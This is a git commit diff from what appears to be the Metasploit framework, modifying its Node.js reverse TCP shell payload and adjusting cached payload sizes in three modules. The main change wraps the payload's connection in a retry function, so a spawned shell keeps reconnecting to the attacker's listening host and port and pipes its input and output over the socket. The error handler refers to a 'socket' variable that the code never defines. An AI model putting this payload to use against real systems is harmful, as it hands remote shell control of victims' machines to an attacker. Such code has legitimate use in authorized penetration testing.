Increasing the functionality of the nodejs shell_reverse_tcp payload

bug/bundler_fix
itsmeroy2012 2017-10-12 19:05:59 +05:30
parent 763720cc4a
commit 374c139d33
4 changed files with 19 additions and 13 deletions

View File

@ -56,16 +56,22 @@ module Msf::Payload::NodeJS
util = require("util"),
sh = cp.spawn(cmd, []);
var client = this;
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
client.socket.pipe(sh.stdin);
if (typeof util.pump === "undefined") {
sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket);
} else {
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
}
});
function StagerRepeat(){
client.socket = net.connect(#{datastore['LPORT']}, "#{lhost}", #{tls_hash} function() {
client.socket.pipe(sh.stdin);
if (typeof util.pump === "undefined") {
sh.stdout.pipe(client.socket);
sh.stderr.pipe(client.socket);
} else {
util.pump(sh.stdout, client.socket);
util.pump(sh.stderr, client.socket);
}
});
socket.on("error", function(error) {
StagerRepeat();
});
}
StagerRepeat();
})();
EOS
cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 2423
CachedSize = 2823
include Msf::Payload::Single
include Msf::Payload::NodeJS

View File

@ -13,7 +13,7 @@ require 'msf/base/sessions/command_shell'
module MetasploitModule
CachedSize = 601
CachedSize = 701
include Msf::Payload::Single
include Msf::Payload::NodeJS

View File

@ -10,7 +10,7 @@ require 'msf/base/sessions/command_shell_options'
module MetasploitModule
CachedSize = 629
CachedSize = 729
include Msf::Payload::Single
include Msf::Payload::NodeJS